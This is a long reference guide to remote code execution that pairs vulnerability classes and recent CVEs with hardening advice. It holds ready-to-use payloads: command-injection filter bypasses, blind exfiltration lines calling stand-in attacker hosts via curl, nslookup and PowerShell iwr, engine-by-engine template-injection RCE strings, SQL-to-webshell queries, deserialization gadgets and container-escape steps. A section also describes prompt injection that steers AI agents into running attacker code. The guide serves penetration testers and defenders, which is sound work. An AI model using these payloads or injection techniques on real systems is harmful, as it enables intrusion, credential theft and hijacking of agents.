Comprehensive RCE Guide

A practitioner’s reference for Remote Code Execution — vulnerability classes, exploitation primitives, language-specific chains, real-world CVEs, and detection/prevention. Compiled from 63 research sources.


Table of Contents

  1. Fundamentals
  2. RCE Classes & Taxonomy
  3. OS Command Injection
  4. Code Injection & Expression Injection
  5. Server-Side Template Injection (SSTI)
  6. File Upload to RCE
  7. Insecure Deserialization
  8. SQL Injection to RCE
  9. SSRF & LFI Chains to RCE
  10. Memory Corruption Primer
  11. Kernel, Driver & Container Escape
  12. Supply Chain RCE
  13. AI / LLM Agent RCE
  14. Real-World Exploit Chains
  15. Tools & Automation
  16. Detection & Prevention
  17. Payload Quick Reference

1. Fundamentals

Remote Code Execution is the ability to run attacker-chosen instructions on a remote system without physical or local shell access. It sits at the top of the impact pyramid — almost every bug class, if chained far enough, ends at RCE.

Three ingredients of any RCE:

IngredientMeaning
Reachable sinkA primitive that turns data into execution (eval, exec, template render, deserialize, unsafe load, process spawn, unsafe file write into an executable location).
Controlled inputA source the attacker can influence — HTTP body, header, query, uploaded file, workflow expression, database row, filename, deserialized object.
Taint pathData flow from source to sink that is not sanitized, sandboxed, or structurally broken.

Impact spectrum: code execution as app user → local privilege escalation → lateral movement → credential theft → persistence → full infrastructure compromise.

Pre-auth vs post-auth. CVSS 9.8–10.0 bugs are almost always pre-auth unauthenticated RCE (e.g., React2Shell CVE-2025-55182, n8n CVE-2026-21858, Marimo CVE-2026-39987, Langflow CVE-2025-3248, Telnetd CVE-2026-32746). Post-auth RCE (Group-Office CVE-2026-34838, Airbyte SSTI) usually caps at 8–9.x unless the auth surface is trivially bypassable.

2025–2026 headline observation. Nearly every critical CVE this cycle was pre-auth, network-reachable, and weaponized within 24–72 hours of disclosure. The attacker economics are: if a patch is published, assume exploitation is already in progress on internet-facing instances.


2. RCE Classes & Taxonomy

ClassRoot PrimitiveTypical SinkExamples
OS command injectionUnsanitized input in shell stringsystem, exec, Runtime.exec, child_process, popenTiandy Easy7 (CVE-2026-4585), Cisco IMC, Bing Images
Code injectionUser string passed to language evaluatoreval, exec, Python AST, new FunctionLangflow (CVE-2025-3248), n8n expression injection
Template injection (SSTI)Untrusted template body/parameterJinja, Twig, Freemarker, Velocity, ERB, Go templatesOpenMetadata FreeMarker, Airbyte
DeserializationAttacker-controlled serialized blobpickle.load, Java ObjectInputStream, unserialize, YAML.loadWazuh (CVE-2026-25769), NVIDIA APEX, Group-Office, React2Shell
File upload RCEWritable path inside executable scopeWeb shell dropped in /www, uploader → LFIWWBN AVideo (CVE-2026-33717), Precurio, Explorance Blue, Sneeit, WP Custom CSS/JS/PHP
SQLi → RCEINTO OUTFILE, stored proc, UDF, MSSQL xp_cmdshellDB-hosted web shell, SQL Server shellIvanti EPMM chain, legacy LAMP
SSRF/LFI → RCEWrite-to-fetch via gopher/file includeRedis key → cron, log poisoningWhen Audits Fail Part 2, WP Ghost LFI
Memory corruptionBuffer/heap/use-after-freeReturn address / IP hijackTelnetd CVE-2026-32746, Adobe Reader, 7-Zip, OpenSSL CVE-2025-15467
Kernel / driverSyscall or IOCTL vulnerabilityring-0 execution, container escaperunc CVE-2025-31133/52565/52881
Prototype pollution → RCEJS object mutation gadget chaintemplate/child_process gadgetNode.js Complete Defense article
Supply chainMalicious package or compromised upstreampostinstall script, typosquatnpm/PyPI incidents in 2025 dataset
AI / LLM prompt → RCEAgent tool call, code-exec toolJupyter kernel, eval tool, shell toolPrompt injection to RCE in AI agents

3. OS Command Injection

Command injection occurs whenever user input is concatenated into a shell command or into an argument vector interpreted by a shell.

Classic sinks

PHP:      system(), exec(), shell_exec(), passthru(), popen(), proc_open(), backticks
Python:   os.system(), os.popen(), subprocess.* with shell=True, commands.getoutput()
Node.js:  child_process.exec(), execSync(), spawn(..., {shell:true})
Java:     Runtime.getRuntime().exec(String), ProcessBuilder(String).start()
Ruby:     system(), %x{}, Kernel.exec(), `...`, Open3.* with shell
Go:       exec.Command("sh", "-c", input)
C#:       Process.Start(ProcessStartInfo{ FileName="cmd.exe", Arguments=input })
Perl:     system(), qx//, open("| cmd")

The anti-pattern is always “shell=True and attacker controls any substring.” A non-shell argv call (subprocess.run(["ping", user])) is safe from shell metacharacters but can still be abused if the binary itself interprets options (---argument injection, -o ProxyCommand=... in ssh/scp/rsync).

Metacharacter classes

CategoryCharsNotes
Command separators; & && `
Subshells` ` $(...)Inline command substitution
Redirection> >> < 2>&1File primitives
Globbing* ? []Argument expansion (can be abused for command smuggling, e.g., /???/??t/bin/cat)
Quoting' " \Break out of existing quoting
Newlines%0a %0dOften missed by blacklists

Bypass techniques

Blacklist evasion:

ls$IFS$9/
ls${IFS}/
w'h'o'a'm'i
w"h"o"a"m"i
wh\oami
$(rev<<<imaohw)
$(echo -e "\x77\x68\x6f\x61\x6d\x69")
{ls,-la,/}
echo d2hvYW1p|base64 -d|sh

Space restriction bypasses: ${IFS}, $IFS$9, <tab>, {cmd,arg}, redirection <>, and brace expansion.

Blind command injection exfil:

; curl http://attacker/$(whoami)
; nslookup $(id|base64).attacker.tld
; ping -c1 $(hostname).attacker.tld
& sleep 10 &     # timing oracle
| dig $(uname -a | md5sum | cut -c1-16).attacker.tld

Windows variants:

cmd:   ^ & | && || %WINDIR% %CD%
pwsh:  ;  `  $() iex (iwr http://attacker/a.ps1)

Real-world examples from the corpus

  • Tiandy Easy7 (CVE-2026-4585) — OS command injection in video surveillance management web console; unauthenticated root shell.
  • Microsoft Bing Images — OS command injection in a backend image-processing pipeline, surfaced by parameter fuzzing on an internal service.
  • Cisco Secure Email Gateway (ESA) zero-day — command-injection exploitation by a China-linked APT.
  • GHSL-2025-035/037 — GitHub Security Lab findings of command injection leading to RCE in a build tool, reached via a spec file that was later rendered through sh -c.
  • Ivanti EPMM chain — auth bypass composed with command injection into an administrative endpoint; in-the-wild exploitation.
  • Cisco IMC (CVE-2026-20094) — command injection via read-only authenticated user reaching root.

Argument injection (non-shell)

If the sink is subprocess.run(["curl", user]), shell metacharacters are harmless — but the binary still parses arguments:

curl:     user=-o/tmp/pwn http://attacker/shell.sh    writes attacker file
git:      user=--upload-pack=sh ./evil                runs ./evil
ssh/scp:  user=-oProxyCommand=id                      pre-auth command execution
find:     user=-exec id {} ;                          arbitrary exec
tar:      user=--checkpoint-action=exec=sh            checkpoint RCE
zip:      user=--unzip-command=sh
rsync:    user=-e "sh -c id"

Always prepend -- after parsing user input and strictly validate leading character.


4. Code Injection & Expression Injection

Where command injection rides a shell, code injection rides a language interpreter.

Python

Dangerous sinks: eval, exec, compile, pickle.load[s], yaml.load (unsafe loader), __import__, marshal.loads, ast.literal_eval is safe, ast.parse followed by compile+exec is not.

Langflow CVE-2025-3248. A canonical modern example. The /api/v1/validate/code endpoint AST-processed user code. Decorators and default argument expressions are evaluated at definition time, so a payload like:

@exec("import os; os.system('id > /tmp/pwned')")
def foo(): pass

def foo(cmd=exec("__import__('subprocess').check_output(['env'])")):
    pass

executes during AST validation — no invocation of foo required. The API responds 200 OK while the attacker has already gained execution. Patched in Langflow ≥ 1.3.0. Multiple follow-ons tracked: CVE-2025-34291 (account takeover variant), CVE-2026-33017 (exploitation within 20 hours of disclosure), and active CISA alerting.

Marimo CVE-2026-39987. Pre-auth RCE in a Python notebook server — untrusted notebook content was executed on load without authentication. “Root in one request.”

JavaScript / Node.js

Dangerous sinks: eval, Function, vm.runIn*Context, require(user), prototype pollution gadgets, child_process.exec(string), template literal tag misuse.

n8n expression injection (CVE-2025-68613, CVE-2026-21858, CVE-2025-68613). The n8n workflow engine evaluates {{ $json.foo }} style expressions inside a sandboxed VM. Sandbox escape primitives — this.constructor.constructor("return process")().mainModule.require("child_process").execSync(...) — let a low-privilege workflow editor, and in CVE-2026-21858 an unauthenticated webhook caller, reach full OS execution. 100k+ exposed n8n instances were catalogued at disclosure time. CVE-2026-21858 is CVSS 10.0 and triggered within hours.

React2Shell (CVE-2025-55182). RCE in React Server Components’ Flight protocol. RSC deserializes Flight payloads server-side; missing validation allows injection of component descriptors that resolve into child_process.spawnSync. A POST to any endpoint that handles RSC payloads reaches code execution under the Node process. Affects React 19.0.0–19.1.0, Next.js 15.0.0–16.0.3 (App Router default), Remix 2.15.0–2.17.2 (RSC experimental). Exploited in the wild within hours, added to CISA KEV, used to deploy Mirai variants. Follow-on CVE-2025-6640x covers related RSC flaws.

Java

Sinks: ScriptEngineManager (Nashorn/JS), Groovy Eval, SpEL parseExpression, JEXL, OGNL (Struts2 S2-* lineage), MVEL.

SpEL pattern: T(java.lang.Runtime).getRuntime().exec('...') OGNL pattern (Struts2): %{#a=@java.lang.Runtime@getRuntime().exec('id')}

Ruby

Sinks: eval, instance_eval, class_eval, send, public_send, Kernel#open('|cmd'), YAML.load, Marshal.load, ERB.

Go

Go has no runtime eval; code injection typically manifests via text/template/html/template (see SSTI), plugin.Open, or exec.Command("sh","-c",...).


5. Server-Side Template Injection (SSTI)

SSTI happens when user input is parsed as a template by a template engine, giving the attacker the engine’s expression grammar. Modern engines expose reflection primitives that pivot to OS command execution.

Detection polyglot

A multi-engine template injection detection payload that works across different template engines. Testing for responses like 49, 7777777, or evaluation errors can indicate template injection vulnerabilities.

Engine-by-engine RCE primitives

Jinja2 (Python) — Flask, Airbyte, many LLM tools:

{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ url_for.__globals__.os.popen('id').read() }}

Filter bypasses: |attr(), request.args, dict(__class__=x)|attr(...), \u0x2e unicode, hex-encoded attribute names.

Twig (PHP) — Symfony, Drupal, Shopware:

{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
{{ app.request.server.get('DOCUMENT_ROOT') }}
{{ ['id']|filter('system') }}

Freemarker (Java) — Confluence historically, OpenMetadata recently:

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
<#assign classloader=object?api.class.protectionDomain.classLoader>
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"]).start()}

OpenMetadata SSTI (GHSA-5f29-2333-h9c7). Email templates stored in the DB are rendered with new Configuration(Configuration.VERSION_2_3_31) — no TemplateClassResolver.SAFER_RESOLVER, no setAPIBuiltinEnabled(false). An admin can PATCH /api/v1/docStore/{id} with <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("whoami") }, and any subsequent email trigger executes the payload. The essential defense is to always configure Freemarker with SAFER_RESOLVER and disable the ?api builtin.

Velocity (Java):

#set($e="exp")#set($rt=$e.getClass().forName("java.lang.Runtime"))$rt.getMethod("exec",$e.getClass()).invoke($rt.getMethod("getRuntime").invoke(null),"id")

Thymeleaf (Java) — SpringBoot default, RCE via SpEL fragment name injection:

__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

ERB (Ruby):

<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>

Smarty (PHP):

{php}system("id");{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']);?>",self::clearConfig())}

Handlebars (Node):

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}{{this.push "return require('child_process').execSync('id');"}}{{this.pop}}
        {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Go text/template / html/template. Go’s templates are “safe by default” — expressions cannot resolve arbitrary method chains. But two anti-patterns break that guarantee:

  1. Passing a user-controlled string as the template body: template.New("x").Parse(userInput). The attacker can then call any function registered via FuncMap — and a surprising number of projects register helpers that wrap os/exec, io/ioutil, or reflection utilities.
  2. Registering unsafe helpers: FuncMap{"exec": exec.Command, "read": os.ReadFile}.

Oligo-reported “shadow SSTI” — no CVE, vulnerable by design — is common in Echo/Gin apps. Detection requires runtime behavior monitoring rather than WAF signatures.

Airbyte SSTI (GHSA-4j3c-fgvx-xgqq). Connection-builder Docker image renders user-provided connector configuration through an unguarded template engine. Authenticated users creating custom connectors can reach RCE and exfiltrate other tenants’ credentials.

SSTI hardening

EngineControl
Jinja2SandboxedEnvironment; restrict attributes; never render user template body
FreemarkersetNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER), setAPIBuiltinEnabled(false)
VelocitySecureUberspector in velocity.properties
TwigUse createTemplate only with sanitized input; disable _self access
ThymeleafAvoid #{...} fragments on user input
GoNever Parse user-supplied bodies; audit every FuncMap entry
HandlebarsDisable lookup/prototype access helpers

6. File Upload to RCE

Arbitrary file write into a location the server will execute is one of the oldest, most reliable RCE primitives. The 2025–2026 corpus is dense with file-upload RCEs in WordPress plugins, CRMs, e-learning platforms, and surveillance dashboards.

The canonical chain

Unrestricted upload    webshell in document root    /uploads/shell.php?c=id
                      LFI consumer if doc root is not writable
                      Overwrite legitimate script/template/config
                      Pickle/Java class placed where another process will load

Filter classes and bypass table

FilterBypass
Extension blacklist (.php).phtml, .phar, .pht, .php5, .php7, .phps, .inc, .hta
Extension whitelist (image only)Apache .php.jpg with AddHandler; shell.jpg/.php on nginx; .htaccess to add handler
Null byteshell.php%00.jpg (older PHP/CGI)
Double extensionshell.jpg.php
Case.PhP, .PHP7
Magic bytesPrepend GIF89a/\xFF\xD8\xFF to PHP file
Content-TypeRewrite header image/jpeg — almost never a real validation
MIME via libmagicUse polyglot (GIF+PHP)
Image parser validationPolyglot JPEG containing EXIF comment with payload
ClamAV/yaraBase64 payload wrapped in <?php eval(base64_decode(...)) ?>
SVG uploadSVG is XML → <script> → stored XSS; <foreignObject> → XXE; sometimes renders server-side in LibreOffice → RCE
Archive uploadZip-slip → write outside upload dir; tar symlink → arbitrary overwrite

Real-world entries from the corpus

  • WWBN AVideo CVE-2026-33717 — authenticated persistent PHP file upload.
  • Explorance Blue — unrestricted file upload in survey platform reaches RCE on IIS/ASP.NET.
  • Precurio Intranet Portal 4.4 — CSRF chained with file upload for RCE; attacker forces logged-in admin to submit the upload form.
  • Ninja Forms WordPress plugin — 50k+ sites affected by critical RCE via form upload handling.
  • Sneeit WordPress plugin — exploited in the wild alongside ICTBroadcast and Frost bot deployment.
  • WP Custom CSS/JS/PHP (CVE-2025-39601) — authenticated file write RCE; the plugin literally lets admins store PHP, and a poor authz check made it writable by lower roles.
  • WordPress plugin CVE-2025-7384 — unauthenticated RCE via upload.
  • Unrestricted File Upload → SSRF and RCE corpus article — multi-stage: upload SVG/XML → server-side rendering → SSRF → metadata credential → RCE.

Hardening

  1. Randomize filenames, strip all extensions, store outside webroot.
  2. Serve via a dedicated static handler that never executes (nginx location with default_type application/octet-stream).
  3. Validate by content (magic bytes + re-encode for images, AV scan, strict MIME set).
  4. Disallow .htaccess, web.config, .user.ini uploads everywhere.
  5. Unzip into a tempdir with a path-traversal-safe routine (no .., no absolute, no symlinks).
  6. Enforce size and per-user quotas.
  7. Log full original filename + hash for IR.

7. Insecure Deserialization

Deserialization turns bytes into objects. If the format allows arbitrary types and those types have side effects during construction or via magic methods, the attacker controls the callgraph.

Language-specific gadgets

Java — ObjectInputStream.readObject(). Libraries with gadget chains: Commons-Collections, Commons-BeanUtils, ROME, Hibernate, Spring, Groovy, Jython, C3P0, JBoss, XStream, Jackson (with polymorphic types enabled), SnakeYAML (default loader), XMLDecoder. ysoserial ships 30+ chains.

  • Wazuh CVE-2026-25769 — insecure deserialization in the Wazuh management API reaches code execution as the wazuh user.
  • NVIDIA APEX CVE-2025-33244 — Java deserialization RCE in an inference server component; unauthenticated attack surface in default deployment.

Python — pickle.loads. Any __reduce__ returns (callable, args) and is executed on load:

class P:
    def __reduce__(self):
        return (os.system, ("id > /tmp/p",))
pickle.dumps(P())

Also: yaml.load (unsafe loader), shelve, dill, jsonpickle, Pandas read_pickle, scikit-learn model files, PyTorch .pt files (use weights_only=True in 2.6+).

  • RediShell CVE-2025-49844 — Redis RCE via a Lua-to-C boundary flaw exercised by ingesting attacker-chosen data; large installed base at risk.

PHP — unserialize. Gadget chains via magic methods __wakeup, __destruct, __toString. Popular sources: Laravel, Symfony, Monolog, Guzzle, phpggc repository.

Ruby — Marshal.load, YAML.load. Gadget chains through Rails deserialization (CVE-2013-0156 lineage).

.NET — BinaryFormatter, NetDataContractSerializer, SoapFormatter, LosFormatter, ObjectStateFormatter, XmlSerializer with Type, JSON.NET with TypeNameHandling != None. ysoserial.net has chains for TypeConfuseDelegate, TextFormattingRunProperties, WindowsIdentity, etc. ViewState RCE pattern is still alive.

Node.js — node-serialize, also funcster, serialize-javascript misuse, React2Shell RSC Flight protocol (already described).

Group-Office CVE-2026-34838

An authenticated attacker injects a crafted FileCookieJar serialized object into a setting string. When AbstractSettingsCollection loads settings, unserialize triggers arbitrary file write — which is then used to drop a PHP file into the web root. Patch at 6.8.156 / 25.0.90 / 26.0.12.

Defenses

  • Never accept serialized data from untrusted sources. Use JSON/Protobuf with explicit schemas.
  • If you must deserialize, use an allowlist (Java: ObjectInputFilter.Config.setSerialFilter; .NET: avoid BinaryFormatter — it is deprecated).
  • For PyTorch/ML models, require a signed manifest and load with weights_only=True.
  • For Redis/caches, never pickle.loads cache contents.

8. SQL Injection to RCE

When SQLi is reachable, the step from data to code depends on the DB:

MySQL / MariaDB:

' UNION SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/s.php'--

Requires: FILE privilege, writable @@secure_file_priv, known webroot. Also LOAD_FILE for arbitrary file read.

UDF injection via lib_mysqludf_sys grants sys_exec.

PostgreSQL:

COPY (SELECT '<?php system($_GET[c]);?>') TO '/var/www/html/s.php';
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'c' STRICT;
SELECT system('id');

Postgres ≥ 9.3 also supports COPY ... PROGRAM 'sh -c "id"' with superuser.

MSSQL:

EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Also sp_OACreate (OLE Automation), CLR assembly loading.

Oracle: Java stored procedures, DBMS_SCHEDULER.RUN_JOB, DBMS_JAVA.

SQLite: ATTACH DATABASE '/var/www/html/s.php' AS x; CREATE TABLE x.y(z); INSERT INTO x.y VALUES("<?php ...?>"); — write a dual-format file.


9. SSRF & LFI Chains to RCE

SSRF and LFI rarely stop at read primitives.

SSRF → RCE

PathMechanism
Redis via gopherSET dir /var/spool/cron; SET dbfilename root; SAVE writes a cron job
Memcached cache poisoningInject serialized PHP session → __wakeup gadget
Internal admin APISSRF into unauthenticated internal /admin endpoint that has file upload
Cloud metadataSteal instance role credentials → aws s3 cp shell s3:// → Lambda/ECS RCE
Internal Docker/K8s APIPOST /containers/create with host mount → container escape to host
Elasticsearch/SOLR_search?source={...} Groovy/JS scripting pre-auth

“When Audits Fail Part 2” from the corpus walks a chain: Pre-auth SSRF → internal Jenkins/Solr → scripting engine → root shell.

LFI → RCE

  • Log poisoning — inject payload into User-Agent/Referer, include /var/log/apache2/access.log.
  • Session file inclusion — store payload in session value, include /tmp/sess_<id>.
  • proc/self/environ — historical CGI, include /proc/self/environ with payload in UA.
  • PHP wrappersphp://filter/convert.base64-encode/resource= for source disclosure; php://input + allow_url_include=On for direct execution; data:// and expect://; phar:// deserialization (PHP ≤ 8.0 default).
  • Zip/phar — upload innocent-looking image containing a phar, then include it.

WP Ghost LFI → RCE (CVE) — 200k+ WordPress sites; LFI in the plugin reachable without auth, chained with log poisoning for RCE.


10. Memory Corruption Primer

Memory-safety bugs remain the top source of pre-auth server RCE in native components.

ClassDescriptionMitigation
Stack buffer overflowWrite beyond stack buffer, overwrite return addressStack canaries, ASLR, NX, fortify source
Heap overflowCorrupt heap metadata / adjacent chunkHardened allocator, heap quarantine
Use-after-freeDangling pointer dereferenced after freeMarkUs/MTE, reference counting, safer languages
Type confusionWrong-type method dispatchRuntime type checks, CFI
Integer overflowWrap-around → undersized buffer__builtin_overflow, wide arithmetic
Uninitialized memoryLeaks or control via attacker-shaped stack-Wuninitialized, scrubbing
Format string%n / %s attacker-controlled formatNever pass user data as format
Double freeCorrupt allocator stateZero-on-free, safe linked lists

Corpus examples

  • Telnetd CVE-2026-32746 — unauthenticated pre-auth root RCE in NetKit/GNU telnetd via option-negotiation memory corruption. Unpatched at disclosure.
  • 7-Zip — RCE via crafted archive, active exploitation reported.
  • Adobe Reader zero-day — exploited via malicious PDFs since December 2025.
  • OpenSSL CVE-2025-15467 — potentially critical RCE disclosed by JFrog, affects certificate-handling code path.
  • Networking devices zero-day — 70,000+ hosts exposed on the open internet.

For exploitation primitives: ROP/JOP chains, one_gadget in libc, house of * heap shaping, tcache poisoning in recent glibc, Windows heap segment heap, SMEP/SMAP/KPTI bypasses. Modern mitigations (CFI, CET/IBT, shadow stacks, MTE, scudo/PartitionAlloc) have made reliable exploitation expensive but not impossible — the 2025 zero-day review articles in the dataset consistently show memory corruption accounting for most ITW pre-auth RCEs in closed-source appliances.


11. Kernel, Driver & Container Escape

runc 2025 disclosure (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881)

Three related vulnerabilities, all flavors of “bypass runc’s /proc write restrictions.”

  • CVE-2025-31133/dev/null can be replaced with a symlink to a procfs file (/proc/sys/kernel/core_pattern, /proc/sysrq-trigger). runc bind-mounts the symlink target read-write, enabling container breakout.
  • CVE-2025-52565 — same primitive via /dev/console and /dev/pts/$n mount race.
  • CVE-2025-52881 — bypasses LSM checks by routing /proc/self/attr/<label> to a real procfs file, then redirects writes to malicious targets.

Writing to /proc/sys/kernel/core_pattern is the classic breakout: when any process on the host crashes, the kernel runs the configured command as root. Writing |/tmp/evil %P turns the next crash into host code execution. Writing to /proc/sysrq-trigger can crash the host.

Fixed in runc ≥ 1.4.0-rc.3, 1.3.3, 1.2.8. Mitigations: user namespaces with host root not mapped, run as non-root inside container, AppArmor/SELinux, do not build untrusted Dockerfiles on shared infrastructure.

Other container/runtime corpus notes

  • “Dangerous runC flaws could allow hackers to escape Docker containers” — BleepingComputer summary of the same set.
  • “New runC Vulnerabilities Expose Docker and Kubernetes to Container Escape Attack” — corroborating writeup.

Linux kernel patterns (general)

Bug typeExample primitive
UAF in netfilterWrite gadget to modprobe_path, trigger __request_module
BPF verifier bugArbitrary R/W in kernel memory
io_uring raceWrite to kernel text (with no W^X)
eBPF JIT sprayOld primitive, largely mitigated
slab overflowCross-cache with page-level grooming

Canonical post-exploitation: write /proc/sys/kernel/modprobe_path to /tmp/pwn.sh, trigger socket(AF_INET, SOCK_PACKET, 0) (or any unknown protocol) to invoke modprobe as root.


12. Supply Chain RCE

The 2025 lessons-learned articles in the corpus repeatedly flag supply chain as the fastest-growing RCE vector.

Package ecosystems.

  • npm/PyPI/RubyGems/Cargo typosquats — postinstall/setup.py scripts execute on install.
  • Repo takeover — expired maintainer emails, stolen tokens.
  • Dependency confusion — internal package name published publicly.
  • Malicious version bump — legitimate package compromised and a new version with backdoor published (xz lineage).

Build pipelines.

  • GitHub Actions with pull_request_target — attacker PR runs with repo secrets.
  • Self-hosted runners — untrusted PRs get code exec on a persistent runner.
  • Docker base image compromise — upstream FROM drags in trojan.

Hardening:

  • Pin by hash/lockfile, no floating versions in production.
  • Use Sigstore/cosign to verify signed artifacts.
  • Run npm audit signatures, pip-audit, osv-scanner in CI.
  • Segment CI/CD credentials from runtime secrets.
  • Use ephemeral runners for public-repo PR builds.

13. AI / LLM Agent RCE

Agentic AI stacks create a new class of RCE — prompt injection that ends in tool-call execution.

From “Prompt injection to RCE in AI agents”:

  1. The agent has a code execution tool (Python REPL, shell, Jupyter kernel, code_interpreter).
  2. An untrusted data source (email, scraped page, PDF, MCP server response) contains instructions crafted to hijack the agent.
  3. The LLM treats instructions as legitimate and calls the code tool with attacker-chosen code.
  4. Code runs inside the agent’s sandbox — often a container with network egress, credentials, and file access.

Langflow (several CVEs in the corpus). The Langflow platform hosts LLM workflows and exposes code-validation/execution endpoints. CVE-2025-3248, CVE-2025-34291, CVE-2026-33017 are all Langflow RCEs with rapid ITW exploitation.

vLLM CVE-2026-22XXX. Server takeover via a malicious video URL — the video decoder path reaches code execution.

n8n (also listed under code injection) — similar position on the agent boundary.

MCP / tool boundaries. An MCP server that returns tool responses can inject into the model context. If the model downstream has code-exec tools, the attack surface becomes “any untrusted content consumed by any agent anywhere in the chain.”

Hardening:

  • Never grant code_interpreter or shell tools to an agent that also ingests untrusted data.
  • Enforce egress allowlists on interpreters.
  • Treat LLM outputs that will be passed to exec/shell as untrusted input and re-validate.
  • Use per-session ephemeral sandboxes with no persistent credentials.
  • Human-in-the-loop for any tool that performs a write action.

14. Real-World Exploit Chains

React2Shell (CVE-2025-55182) — Node.js RCE against production Next.js

Reconstructed from the Hunt.io investigation in the corpus (12,440 log lines, 1,084 spawnSync attempts, 4 C2 servers):

  1. Attacker identifies a Next.js 15.x endpoint processing RSC data.
  2. POSTs a crafted Flight payload; RSC deserializes → child_process.spawnSync invoked with attacker arguments.
  3. Initial confirmation: PoC emits signature strings (MEOWWWWWWWWW, wow i guess im finna bridge now, 12334).
  4. Stage 2 — download Mirai binary via wget (fallback curl), chmod 777, execute. In this incident it failed because the production container had no shell, no curl, no sudo, and imposed process time limits.
  5. Stage 3–5 — persistence scripts, obfuscated base64 droppers, secondary C2.
  6. Stage 6 — local file manipulation for lateral pivots.

Defensive takeaways: distroless/minimal containers defeated the post-exploitation even after RCE. Egress allowlist and runtime process-time limits matter.

Langflow CVE-2025-3248 chain

  1. Discovery via Shodan / internet-wide scanning for /api/v1/validate/code.
  2. POST a decorator payload @exec(...).
  3. Server AST-processes the code, executing during parse.
  4. Drop a web shell or add a cron job; pivot to cloud credentials in ~/.aws/.
  5. CISA added to KEV within hours; ThreatLabz observed exploitation waves.

n8n CVE-2026-21858 (Ni8mare)

  1. Unauthenticated webhook reaches an expression-evaluation path.
  2. Sandbox escape via constructor chain grabs Node process object.
  3. require('child_process').execSync under n8n process.
  4. Exfiltration of .n8n credentials store — API keys for every integrated SaaS.
  5. Observed mass exploitation within hours. CVSS 10.0.

Historical reference chains (not in the 2025 corpus but part of any RCE practitioner’s baseline)

  • Log4Shell (CVE-2021-44228). ${jndi:ldap://attacker/x} in any logged string → LDAP server returns a Java class → ObjectFactory instantiates attacker code. Still the canonical “untrusted string interpolation” bug.
  • Spring4Shell (CVE-2022-22965). Spring DataBinder allowed setting class.module.classLoader.resources.context.parent.pipeline.first.* properties on a Tomcat JSP access logger, writing an attacker JSP into the webroot.
  • ProxyShell (CVE-2021-34473 + 34523 + 31207). Exchange auto-discover path confusion + elevation + arbitrary mailbox write of .aspx webshell.
  • Shellshock (CVE-2014-6271). env x='() { :;}; cmd' bash -c : — function export parser ran trailing commands.

CVE-2026-20131 — Cisco FMC RCE (ThreatLabz)

Authenticated command injection in Firepower Management Center; reached by low-privilege users. Root takeaway: every admin web field on a security appliance is an RCE candidate.

AWS RES CVE-2026-5707

Root RCE in AWS Research and Engineering Studio via a crafted session name — string reached a shell interpolation sink in a helper script. Classic “one sanitization miss on a high-trust management plane.”

WSUS CVE-2025-59287

Unauthenticated deserialization in Windows Server Update Services reached RCE. Broad impact because WSUS is exposed in many enterprise perimeters.

CVE-2025-34291 / CVE-2026-33017 — Langflow exploitation

Compromised AI pipelines within 20 hours of disclosure. Pattern-level lesson: AI platforms consistently have trust boundaries between “user workflow code” and “server execution” that are under-audited.


15. Tools & Automation

Discovery & scanning:

ToolUse
nucleiTemplated RCE checks (ProjectDiscovery KEV templates)
httpx / katana / gauSurface enumeration
ffuf / feroxbusterParameter and directory brute force
Burp Suite + Active Scan++Manual + semi-automated testing
sqlmapSQLi → file write / OS shell (--os-shell, --os-pwn)
commixCommand injection exploitation
tplmapSSTI detection and exploitation
ysoserial / ysoserial.netJava / .NET deserialization gadget generation
phpggcPHP unserialize gadget chains
marshalsecJava JSON/YAML gadget chains

Post-exploitation scaffolding:

ToolUse
msfvenomPayload generation
sliver / mythic / havocC2 frameworks (defender-aware — detection content exists)
chisel / ligolo-ngPivoting
pwncat-csPost-exploit TTY upgrade + automation
LinPEAS / WinPEAS / linux-exploit-suggesterLocal enumeration

Analysis and triage:

ToolUse
CodeQLTaint queries for command/code injection/deserialization sinks
SemgrepFast pattern rules (eval, exec, unserialize, FreeMarker without safer resolver)
JoernAST + dataflow for native code
Ghidra / IDA / Binary NinjaBinary analysis of appliances
rr + gdbRecord and replay for memory-corruption root cause

Hunting datasets:

  • CISA KEV catalog (weekly — every critical CVE in this guide made it within days).
  • ProjectDiscovery nuclei-templates http/cves/.
  • GHSA advisories RSS (GitHub).
  • Shodan / Censys for internet-facing software version fingerprinting.

16. Detection & Prevention

Secure coding quick checklist

SinkSafe pattern
Shell execsubprocess.run([bin, arg], shell=False) with validated arg
SQLParameterized queries or ORM; never string-build
File uploadAllowlist + content re-encode + store outside webroot + randomized name
DeserializeJSON/Protobuf with schema; never pickle/ObjectInputStream/BinaryFormatter on untrusted input
TemplatePrecompiled templates on trusted disk paths only; never render user template bodies
Path resolverealpath + prefix check against allowed root
Regex on untrustedCatastrophic backtracking — use RE2 or anchored patterns
YAMLyaml.safe_load only
XMLDisable external entities, disable DTD
RedirectAllowlist hosts
eval/FunctionDelete, replace with a dispatch table

Runtime controls

  • Least privilege execution. Non-root app user, read-only filesystem where possible, tmpfs for /tmp, drop caps (NET_ADMIN, SYS_PTRACE, DAC_OVERRIDE, SYS_MODULE).
